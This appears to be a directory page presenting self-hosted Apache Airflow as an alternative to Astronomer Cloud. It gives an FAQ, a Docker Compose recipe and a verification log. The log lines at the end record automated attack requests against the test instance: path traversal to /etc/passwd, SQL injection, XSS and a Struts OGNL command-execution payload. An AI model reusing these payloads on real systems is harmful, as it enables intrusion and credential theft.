Apache Airflow orchestrates complex data pipelines on your own infrastructure, replacing managed services like Astronomer Cloud without subscription costs.
Originally developed at Airbnb in 2014 and open-sourced through the Apache Software Foundation in 2016, Apache Airflow orchestrates scheduled data workflows across thousands of production deployments. Its architecture models computational jobs as directed acyclic graphs that execute across distributed worker pools. Organizations rely on this scheduling loop to ensure business dashboards, financial reports, and database syncs complete on exact timetables.
Self-hosted Apache Airflow executes workflows directly on your infrastructure without routing signals through a third-party control plane. Workers pick up queued tasks immediately from a local Redis or RabbitMQ broker, eliminating the network round-trips and tenant queue contention found in Astronomer Cloud. Organizations with strict service windows can tune worker concurrency, memory limits, and Celery pools on private clusters so time-critical reporting jobs launch without delay.
While Astronomer Cloud automates database maintenance and worker scaling, it introduces rigid pricing tiers and worker spin-up latency. Self-hosted Airflow places performance entirely in your hands: teams must tune database connection pools and file parsing intervals to prevent scheduler lag. In return, organizations avoid external compute markups and execution throttling, delivering high task throughput at the hardware's true cost.
Is Apache Airflow faster than Astronomer Cloud? Self-hosted Airflow achieves lower task dispatch latency when run on private infrastructure with tuned worker pools, bypassing the external network hops inherent in managed cloud platforms.
Is Apache Airflow free for commercial use? Yes, Airflow carries no licensing fees or user seat costs, allowing companies to orchestrate unlimited pipelines internally without commercial software expenses.
Can non-programmers trigger workflows in Apache Airflow? Yes, while engineers write pipeline definitions in Python, operations teams can trigger runs, view run progress, and clear failed tasks directly through the browser interface.
Apache Airflow is the right choice for organizations with engineering capacity that need unconstrained execution speed and complete infrastructure control, whereas small teams seeking zero maintenance may prefer managed services. Maintained actively with updates into September 2026 and an Apache-2.0 license that permits unlimited internal modification without subscription fees, it provides reliable enterprise workflow orchestration. Teams prepared to run their own database and worker fleet gain a flexible engine shaped entirely to their throughput requirements.
We started this exact setup from scratch in a clean Linux machine on Oct 23, 2026 and checked it through Apache Airflow's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p apache-airflow && cd apache-airflow
curl -fsSL https://open-source.store/tools/apache-airflow/compose.yml -o compose.ymlcat > .env <<EOF
AIRFLOW_BASE_URL=http://localhost:8080
FERNET_KEY=$(openssl rand -base64 32)
POSTGRES_PASSWORD=$(openssl rand -hex 12)
ADMIN_PASSWORD=$(openssl rand -hex 12)
JWT_SECRET=$(openssl rand -hex 16)
EOFAIRFLOW_BASE_URL — Public URL where Airflow is reached; change to your domain or reverse proxy address.FERNET_KEY — 32-byte url-safe base64 key used to encrypt connection passwords and sensitive metadata. Generated above; keep it secret.POSTGRES_PASSWORD — Password for the PostgreSQL database user. Generated above; keep it secret.ADMIN_PASSWORD — Initial password for the default administrator account (airflow). Generated above; keep it secret.JWT_SECRET — Secret key for signing Airflow API JWT authentication tokens. Generated above; keep it secret.docker compose up -dservices:
postgres:
image: postgres:16-alpine
environment:
POSTGRES_USER: airflow
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
POSTGRES_DB: airflow
volumes:
- postgres-db-volume:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U airflow -d airflow"]
interval: 10s
timeout: 5s
retries: 5
start_period: 5s
restart: always
redis:
image: redis:7.2-alpine
expose:
- 6379
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 10s
timeout: 5s
retries: 5
start_period: 5s
restart: always
airflow-init:
image: apache/airflow:3.3.2
user: "0:0"
entrypoint: /bin/bash
command:
- -c
- |
mkdir -v -p /opt/airflow/{logs,dags,plugins,config}
/entrypoint airflow version
/entrypoint airflow config list >/dev/null
chown -v -R "50000:0" /opt/airflow/{logs,dags,plugins,config}
environment:
AIRFLOW__CORE__EXECUTOR: CeleryExecutor
AIRFLOW__CORE__AUTH_MANAGER: airflow.providers.fab.auth_manager.fab_auth_manager.FabAuthManager
AIRFLOW__DATABASE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__BROKER_URL: redis://:@redis:6379/0
AIRFLOW__CORE__FERNET_KEY: ${FERNET_KEY}
AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION: 'true'
AIRFLOW__CORE__LOAD_EXAMPLES: 'false'
AIRFLOW__CORE__EXECUTION_API_SERVER_URL: 'http://airflow-apiserver:8080/execution/'
AIRFLOW__API__BASE_URL: ${AIRFLOW_BASE_URL}
AIRFLOW__API_AUTH__JWT_SECRET: ${JWT_SECRET}
AIRFLOW__API_AUTH__JWT_ISSUER: airflow
AIRFLOW_CONFIG: '/opt/airflow/config/airflow.cfg'
_AIRFLOW_DB_MIGRATE: 'true'
_AIRFLOW_WWW_USER_CREATE: 'true'
_AIRFLOW_WWW_USER_USERNAME: airflow
_AIRFLOW_WWW_USER_PASSWORD: ${ADMIN_PASSWORD}
volumes:
- ./dags:/opt/airflow/dags
- airflow-logs:/opt/airflow/logs
- airflow-config:/opt/airflow/config
- airflow-plugins:/opt/airflow/plugins
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
airflow-apiserver:
image: apache/airflow:3.3.2
user: "50000:0"
command: api-server
ports:
- "8080:8080"
environment:
AIRFLOW__CORE__EXECUTOR: CeleryExecutor
AIRFLOW__CORE__AUTH_MANAGER: airflow.providers.fab.auth_manager.fab_auth_manager.FabAuthManager
AIRFLOW__DATABASE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__BROKER_URL: redis://:@redis:6379/0
AIRFLOW__CORE__FERNET_KEY: ${FERNET_KEY}
AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION: 'true'
AIRFLOW__CORE__LOAD_EXAMPLES: 'false'
AIRFLOW__CORE__EXECUTION_API_SERVER_URL: 'http://airflow-apiserver:8080/execution/'
AIRFLOW__API__BASE_URL: ${AIRFLOW_BASE_URL}
AIRFLOW__API_AUTH__JWT_SECRET: ${JWT_SECRET}
AIRFLOW__API_AUTH__JWT_ISSUER: airflow
AIRFLOW__SCHEDULER__ENABLE_HEALTH_CHECK: 'true'
AIRFLOW_CONFIG: '/opt/airflow/config/airflow.cfg'
volumes:
- ./dags:/opt/airflow/dags
- airflow-logs:/opt/airflow/logs
- airflow-config:/opt/airflow/config
- airflow-plugins:/opt/airflow/plugins
healthcheck:
test: ["CMD", "curl", "--fail", "http://localhost:8080/api/v2/monitor/health"]
interval: 10s
timeout: 10s
retries: 10
start_period: 30s
restart: always
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
airflow-init:
condition: service_completed_successfully
airflow-scheduler:
image: apache/airflow:3.3.2
user: "50000:0"
command: scheduler
environment:
AIRFLOW__CORE__EXECUTOR: CeleryExecutor
AIRFLOW__CORE__AUTH_MANAGER: airflow.providers.fab.auth_manager.fab_auth_manager.FabAuthManager
AIRFLOW__DATABASE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__BROKER_URL: redis://:@redis:6379/0
AIRFLOW__CORE__FERNET_KEY: ${FERNET_KEY}
AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION: 'true'
AIRFLOW__CORE__LOAD_EXAMPLES: 'false'
AIRFLOW__CORE__EXECUTION_API_SERVER_URL: 'http://airflow-apiserver:8080/execution/'
AIRFLOW__API__BASE_URL: ${AIRFLOW_BASE_URL}
AIRFLOW__API_AUTH__JWT_SECRET: ${JWT_SECRET}
AIRFLOW__API_AUTH__JWT_ISSUER: airflow
AIRFLOW__SCHEDULER__ENABLE_HEALTH_CHECK: 'true'
AIRFLOW_CONFIG: '/opt/airflow/config/airflow.cfg'
volumes:
- ./dags:/opt/airflow/dags
- airflow-logs:/opt/airflow/logs
- airflow-config:/opt/airflow/config
- airflow-plugins:/opt/airflow/plugins
healthcheck:
test: ["CMD-SHELL", 'airflow jobs check --job-type SchedulerJob --hostname "$${HOSTNAME}"']
interval: 10s
timeout: 10s
retries: 10
start_period: 30s
restart: always
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
airflow-init:
condition: service_completed_successfully
airflow-dag-processor:
image: apache/airflow:3.3.2
user: "50000:0"
command: dag-processor
environment:
AIRFLOW__CORE__EXECUTOR: CeleryExecutor
AIRFLOW__CORE__AUTH_MANAGER: airflow.providers.fab.auth_manager.fab_auth_manager.FabAuthManager
AIRFLOW__DATABASE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__BROKER_URL: redis://:@redis:6379/0
AIRFLOW__CORE__FERNET_KEY: ${FERNET_KEY}
AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION: 'true'
AIRFLOW__CORE__LOAD_EXAMPLES: 'false'
AIRFLOW__CORE__EXECUTION_API_SERVER_URL: 'http://airflow-apiserver:8080/execution/'
AIRFLOW__API__BASE_URL: ${AIRFLOW_BASE_URL}
AIRFLOW__API_AUTH__JWT_SECRET: ${JWT_SECRET}
AIRFLOW__API_AUTH__JWT_ISSUER: airflow
AIRFLOW_CONFIG: '/opt/airflow/config/airflow.cfg'
volumes:
- ./dags:/opt/airflow/dags
- airflow-logs:/opt/airflow/logs
- airflow-config:/opt/airflow/config
- airflow-plugins:/opt/airflow/plugins
healthcheck:
test: ["CMD-SHELL", 'airflow jobs check --job-type DagProcessorJob --hostname "$${HOSTNAME}"']
interval: 10s
timeout: 10s
retries: 10
start_period: 30s
restart: always
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
airflow-init:
condition: service_completed_successfully
airflow-worker:
image: apache/airflow:3.3.2
user: "50000:0"
command: celery worker
environment:
AIRFLOW__CORE__EXECUTOR: CeleryExecutor
AIRFLOW__CORE__AUTH_MANAGER: airflow.providers.fab.auth_manager.fab_auth_manager.FabAuthManager
AIRFLOW__DATABASE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__BROKER_URL: redis://:@redis:6379/0
AIRFLOW__CORE__FERNET_KEY: ${FERNET_KEY}
AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION: 'true'
AIRFLOW__CORE__LOAD_EXAMPLES: 'false'
AIRFLOW__CORE__EXECUTION_API_SERVER_URL: 'http://airflow-apiserver:8080/execution/'
AIRFLOW__API__BASE_URL: ${AIRFLOW_BASE_URL}
AIRFLOW__API_AUTH__JWT_SECRET: ${JWT_SECRET}
AIRFLOW__API_AUTH__JWT_ISSUER: airflow
AIRFLOW_CONFIG: '/opt/airflow/config/airflow.cfg'
DUMB_INIT_SETSID: "0"
volumes:
- ./dags:/opt/airflow/dags
- airflow-logs:/opt/airflow/logs
- airflow-config:/opt/airflow/config
- airflow-plugins:/opt/airflow/plugins
healthcheck:
test: ["CMD-SHELL", 'celery --app airflow.providers.celery.executors.celery_executor.app inspect ping -d "celery@$${HOSTNAME}" || celery --app airflow.executors.celery_executor.app inspect ping -d "celery@$${HOSTNAME}"']
interval: 10s
timeout: 10s
retries: 10
start_period: 30s
restart: always
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
airflow-apiserver:
condition: service_healthy
airflow-init:
condition: service_completed_successfully
airflow-triggerer:
image: apache/airflow:3.3.2
user: "50000:0"
command: triggerer
environment:
AIRFLOW__CORE__EXECUTOR: CeleryExecutor
AIRFLOW__CORE__AUTH_MANAGER: airflow.providers.fab.auth_manager.fab_auth_manager.FabAuthManager
AIRFLOW__DATABASE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql+psycopg2://airflow:${POSTGRES_PASSWORD}@postgres/airflow
AIRFLOW__CELERY__BROKER_URL: redis://:@redis:6379/0
AIRFLOW__CORE__FERNET_KEY: ${FERNET_KEY}
AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION: 'true'
AIRFLOW__CORE__LOAD_EXAMPLES: 'false'
AIRFLOW__CORE__EXECUTION_API_SERVER_URL: 'http://airflow-apiserver:8080/execution/'
AIRFLOW__API__BASE_URL: ${AIRFLOW_BASE_URL}
AIRFLOW__API_AUTH__JWT_SECRET: ${JWT_SECRET}
AIRFLOW__API_AUTH__JWT_ISSUER: airflow
AIRFLOW_CONFIG: '/opt/airflow/config/airflow.cfg'
volumes:
- ./dags:/opt/airflow/dags
- airflow-logs:/opt/airflow/logs
- airflow-config:/opt/airflow/config
- airflow-plugins:/opt/airflow/plugins
healthcheck:
test: ["CMD-SHELL", 'airflow jobs check --job-type TriggererJob --hostname "$${HOSTNAME}"']
interval: 10s
timeout: 10s
retries: 10
start_period: 30s
restart: always
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
airflow-init:
condition: service_completed_successfully
volumes:
postgres-db-volume:
airflow-logs:
airflow-config:
airflow-plugins:
Lint, codegen, breaking-change checks and dependency management in one Git-native CLI. Open source, no registry lock-in.
Show that Apache Airflow is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 404 s: postgres:16-alpine, apache/airflow:3.3.2, apache/airflow:3.3.2, redis:7.2-alpine, apache/airflow:3.3.2, apache/airflow:3.3.2, apache/airflow:3.3.2, apache/airflow:3.3.2.
Based on the upstream setup. Official compose pinned to 3.3.2; database passwords, Fernet key, admin password, JWT secret, and base URL moved to .env; ./dags bind mount used for workflow definitions; named volumes used for container logs, config, plugins, and database.
airflow-apiserver-1 | 2026-10-23T20:13:30.797287965Z 2026-10-23T20:13:30.797204Z [info ] request finished [http.access] client_addr=192.168.64.9:60740 duration_us=21843 loc=http_access_log.py:130 method=GET path=/forums/forumrunner/request.php query='d=1&cmd=get_spam_data&postids=-1%27' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.797385715Z 2026-10-23T20:13:30.797321Z [info ] request finished [http.access] client_addr=192.168.64.9:60850 duration_us=21169 loc=http_access_log.py:130 method=GET path=/index.php query='option=com_smartsite&controller=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.797458673Z 2026-10-23T20:13:30.797386Z [info ] request finished [http.access] client_addr=192.168.64.9:60632 duration_us=21882 loc=http_access_log.py:130 method=GET path=/horizon/api/stats query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.797543215Z 2026-10-23T20:13:30.797467Z [info ] request finished [http.access] client_addr=192.168.64.9:60654 duration_us=21985 loc=http_access_log.py:130 method=GET path=/autodiscover/autodiscover.json query='%40test.com%2Fowa%2F%3F=&Email=autodiscover%2Fautodiscover.json%3F%40test.com' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.800450173Z 2026-10-23T20:13:30.800357Z [info ] request finished [http.access] client_addr=192.168.64.9:60864 duration_us=22064 loc=http_access_log.py:130 method=GET path=/index.php/component/jemessenger/box_details query='task=download&dw_file=..%2F..%2F..%2F.%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.800510298Z 2026-10-23T20:13:30.800450Z [info ] request finished [http.access] client_addr=192.168.64.9:60622 duration_us=22276 loc=http_access_log.py:130 method=GET path=/system/download query='download-url=%2F_a7%2Fp49dm7f4qjyt%2Foutput%2F&name=exam.pdf' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.800595006Z 2026-10-23T20:13:30.800521Z [info ] request finished [http.access] client_addr=192.168.64.9:60646 duration_us=22300 loc=http_access_log.py:130 method=GET path=/system/download query='download-url=%2F_a7%2Fp49dm7f4qjyt%2Foutput%2F&name=exam.pdf' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.800669923Z 2026-10-23T20:13:30.800594Z [info ] request finished [http.access] client_addr=192.168.64.9:60870 duration_us=20744 loc=http_access_log.py:130 method=GET path=/forum/forumrunner/request.php query='d=1&cmd=get_spam_data&postids=-1%27' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.800685756Z 2026-10-23T20:13:30.800642Z [info ] request finished [http.access] client_addr=192.168.64.9:60748 duration_us=22408 loc=http_access_log.py:130 method=GET path=/.../.../.../.../.../.../.../.../.../etc/passwd query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.802322131Z 2026-10-23T20:13:30.802238Z [info ] request finished [http.access] client_addr=192.168.64.9:60876 duration_us=20406 loc=http_access_log.py:130 method=GET path=/IND780/excalweb.dll query='webpage=..%2F..%2FAutoCE.ini' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.803835798Z 2026-10-23T20:13:30.803746Z [info ] request finished [http.access] client_addr=192.168.64.9:60658 duration_us=20377 loc=http_access_log.py:130 method=GET path=/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.803859506Z 2026-10-23T20:13:30.803815Z [info ] request finished [http.access] client_addr=192.168.64.9:60758 duration_us=20421 loc=http_access_log.py:130 method=GET path=/info.cgi query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.803921215Z 2026-10-23T20:13:30.803867Z [info ] request finished [http.access] client_addr=192.168.64.9:60504 duration_us=20450 loc=http_access_log.py:130 method=GET path=/dataservice/disasterrecovery/download/token/../../..//etc/passwd query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.803981756Z 2026-10-23T20:13:30.803916Z [info ] request finished [http.access] client_addr=192.168.64.9:59122 duration_us=20585 loc=http_access_log.py:130 method=GET path=/wp-content/plugins/wpmudev-updates/keys/ query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.804051506Z 2026-10-23T20:13:30.803991Z [info ] request finished [http.access] client_addr=192.168.64.9:60878 duration_us=20523 loc=http_access_log.py:130 method=GET path=/index.php query='option=com_smartsite&controller=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.804103465Z 2026-10-23T20:13:30.804049Z [info ] request finished [http.access] client_addr=192.168.64.9:60678 duration_us=20765 loc=http_access_log.py:130 method=GET path=/parameters.yml.dist query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.805817298Z 2026-10-23T20:13:30.805731Z [info ] request finished [http.access] client_addr=192.168.64.9:60882 duration_us=20236 loc=http_access_log.py:130 method=GET path=/ query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.807120798Z 2026-10-23T20:13:30.807033Z [info ] request finished [http.access] client_addr=192.168.64.9:60708 duration_us=20395 loc=http_access_log.py:130 method=GET path=/wd/hub query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.807195006Z 2026-10-23T20:13:30.807139Z [info ] request finished [http.access] client_addr=192.168.64.9:60602 duration_us=20547 loc=http_access_log.py:130 method=GET path=/wd/hub query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.807313048Z 2026-10-23T20:13:30.807241Z [info ] request finished [http.access] client_addr=192.168.64.9:60896 duration_us=20535 loc=http_access_log.py:130 method=GET path=/index.php query='option=com_kp&controller=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.809180881Z 2026-10-23T20:13:30.809093Z [info ] request finished [http.access] client_addr=192.168.64.9:60628 duration_us=21057 loc=http_access_log.py:130 method=GET path=/.authorized_keys query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.809292548Z 2026-10-23T20:13:30.809222Z [info ] request finished [http.access] client_addr=192.168.64.9:60908 duration_us=21094 loc=http_access_log.py:130 method=GET path=/goform/activate_process query='isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.810059881Z 2026-10-23T20:13:30.809986Z [info ] request finished [http.access] client_addr=192.168.64.9:60732 duration_us=19857 loc=http_access_log.py:130 method=GET path=/index.php/admin/filemanager/sa/getZipFile query='path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.810129423Z 2026-10-23T20:13:30.810052Z [info ] request finished [http.access] client_addr=192.168.64.9:60814 duration_us=19911 loc=http_access_log.py:130 method=GET path=/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd#foo/development query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.810230006Z 2026-10-23T20:13:30.810169Z [info ] request finished [http.access] client_addr=192.168.64.9:60544 duration_us=20091 loc=http_access_log.py:130 method=GET path=/index.php/admin/filemanager/sa/getZipFile query='path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.810338631Z 2026-10-23T20:13:30.810268Z [info ] request finished [http.access] client_addr=192.168.64.9:60912 duration_us=20033 loc=http_access_log.py:130 method=GET path=/goform/activate_process query='isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.810417798Z 2026-10-23T20:13:30.810355Z [info ] request finished [http.access] client_addr=192.168.64.9:60792 duration_us=20185 loc=http_access_log.py:130 method=GET path=/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd#foo/development query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.811297173Z 2026-10-23T20:13:30.811223Z [info ] request finished [http.access] client_addr=192.168.64.9:60690 duration_us=19451 loc=http_access_log.py:130 method=GET path=/wp-json/tribe/events/v1/organizers query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.811339215Z 2026-10-23T20:13:30.811294Z [info ] request finished [http.access] client_addr=192.168.64.9:60714 duration_us=19499 loc=http_access_log.py:130 method=GET path=/parameters.yml.dist query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.811387673Z 2026-10-23T20:13:30.811343Z [info ] request finished [http.access] client_addr=192.168.64.9:60508 duration_us=19523 loc=http_access_log.py:130 method=GET path=/pools/default/buckets query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.811432631Z 2026-10-23T20:13:30.811391Z [info ] request finished [http.access] client_addr=192.168.64.9:60828 duration_us=19731 loc=http_access_log.py:130 method=GET path=/.../.../.../.../.../.../.../.../.../etc/passwd query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.811477298Z 2026-10-23T20:13:30.811436Z [info ] request finished [http.access] client_addr=192.168.64.9:60836 duration_us=19697 loc=http_access_log.py:130 method=GET path=/wp-json/tribe/events/v1/organizers query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.811519548Z 2026-10-23T20:13:30.811480Z [info ] request finished [http.access] client_addr=192.168.64.9:60922 duration_us=19635 loc=http_access_log.py:130 method=GET path=/wd/hub/status query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.812141881Z 2026-10-23T20:13:30.812081Z [info ] request finished [http.access] client_addr=192.168.64.9:60938 duration_us=17558 loc=http_access_log.py:130 method=GET path=/CFIDE/administrator/enter.cfm query='locale=..%2F..%2F..%2F..%2F..%2F..%2F..%2Flib%2Fpassword.properties%00en' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.812280756Z 2026-10-23T20:13:30.812221Z [info ] request finished [http.access] client_addr=192.168.64.9:60724 duration_us=20439 loc=http_access_log.py:130 method=GET path=/main/inc/ajax/model.ajax.php query='a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1%29%29and%281%29+UNION+ALL+SELECT+CONCAT%28%28select+extractvalue%280x0a%2Cconcat%280x0a%2C%28md5%28999999999%29%29%29%29%29%29%2CNULL%2CNULL%2CNULL--+-%29and%28%281%3D&searchOper=ni&searchString=testx&filters2=%7B%7D&from_course_session=0' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.812385340Z 2026-10-23T20:13:30.812312Z [info ] request finished [http.access] client_addr=192.168.64.9:60178 duration_us=17838 loc=http_access_log.py:130 method=GET path=/autodiscover/autodiscover.json query='%40test.com%2Fmapi%2Fnspi%2F%3F=&Email=autodiscover%2Fautodiscover.json%3F%40test.com' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.813016631Z 2026-10-23T20:13:30.812942Z [info ] request finished [http.access] client_addr=192.168.64.9:60654 duration_us=16221 loc=http_access_log.py:130 method=GET path=/autodiscover/autodiscover.json query='%40test.com%2Fmapi%2Fnspi%2F%3F=&Email=autodiscover%2Fautodiscover.json%3F%40test.com' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.813078590Z 2026-10-23T20:13:30.813032Z [info ] request finished [http.access] client_addr=192.168.64.9:60954 duration_us=16284 loc=http_access_log.py:130 method=GET path=/horizon/api/stats query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.813543381Z 2026-10-23T20:13:30.813470Z [info ] request finished [http.access] client_addr=192.168.64.9:60632 duration_us=16713 loc=http_access_log.py:130 method=GET path=/vb/forumrunner/request.php query='d=1&cmd=get_spam_data&postids=-1%27' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.813717465Z 2026-10-23T20:13:30.813640Z [info ] request finished [http.access] client_addr=192.168.64.9:60740 duration_us=15098 loc=http_access_log.py:130 method=GET path=/devmode.action query='debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat+%2Fetc%2Fpasswd%27%29.getInputStream%28%29%29%29' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.813840506Z 2026-10-23T20:13:30.813763Z [info ] request finished [http.access] client_addr=192.168.64.9:60612 duration_us=15194 loc=http_access_log.py:130 method=GET path=/devmode.action query='debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat+%2Fetc%2Fpasswd%27%29.getInputStream%28%29%29%29' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.814012840Z 2026-10-23T20:13:30.813939Z [info ] request finished [http.access] client_addr=192.168.64.9:60960 duration_us=15320 loc=http_access_log.py:130 method=GET path=/main/inc/ajax/model.ajax.php query='a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1%29%29and%281%29+UNION+ALL+SELECT+CONCAT%28%28select+md5%28999999999%29%29%29%2CNULL%2CNULL%2CNULL--+-%29and%28%281%3D&searchOper=ni&searchString=testx&filters2=%7B%7D&from_course_session=0' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.814109840Z 2026-10-23T20:13:30.814038Z [info ] request finished [http.access] client_addr=192.168.64.9:60646 duration_us=15604 loc=http_access_log.py:130 method=GET path=/forums/forumrunner/request.php query='d=1&cmd=get_spam_data&postids=-1%27' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.814196673Z 2026-10-23T20:13:30.814144Z [info ] request finished [http.access] client_addr=192.168.64.9:60850 duration_us=15672 loc=http_access_log.py:130 method=GET path=/system.ini query='loginuse=&loginpas=' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.814625215Z 2026-10-23T20:13:30.814532Z [info ] request finished [http.access] client_addr=192.168.64.9:60876 duration_us=12877 loc=http_access_log.py:130 method=GET path=/plus/ajax_common.php query='act=hotword&query=aa%25%E9%8C%A6%27+union+select+1%2Cmd5%28999999999%29%2C3%23%27' status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815250381Z 2026-10-23T20:13:30.814808Z [info ] request finished [http.access] client_addr=192.168.64.9:60972 duration_us=13146 loc=http_access_log.py:130 method=GET path=/.authorized_keys query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815252798Z 2026-10-23T20:13:30.814909Z [info ] request finished [http.access] client_addr=192.168.64.9:60984 duration_us=11786 loc=http_access_log.py:130 method=GET path=/setup/setupcluster-start.action query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815253923Z 2026-10-23T20:13:30.814964Z [info ] request finished [http.access] client_addr=192.168.64.9:60504 duration_us=11929 loc=http_access_log.py:130 method=GET path=/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php query= status_code=200 airflow-apiserver-1 | 2026-10-23T20:13:30.815255131Z 2026-10-23T20:13:30.815008Z [info ] request finished [http.access] client_addr=192.168.64.9:60758 duration_us=11941 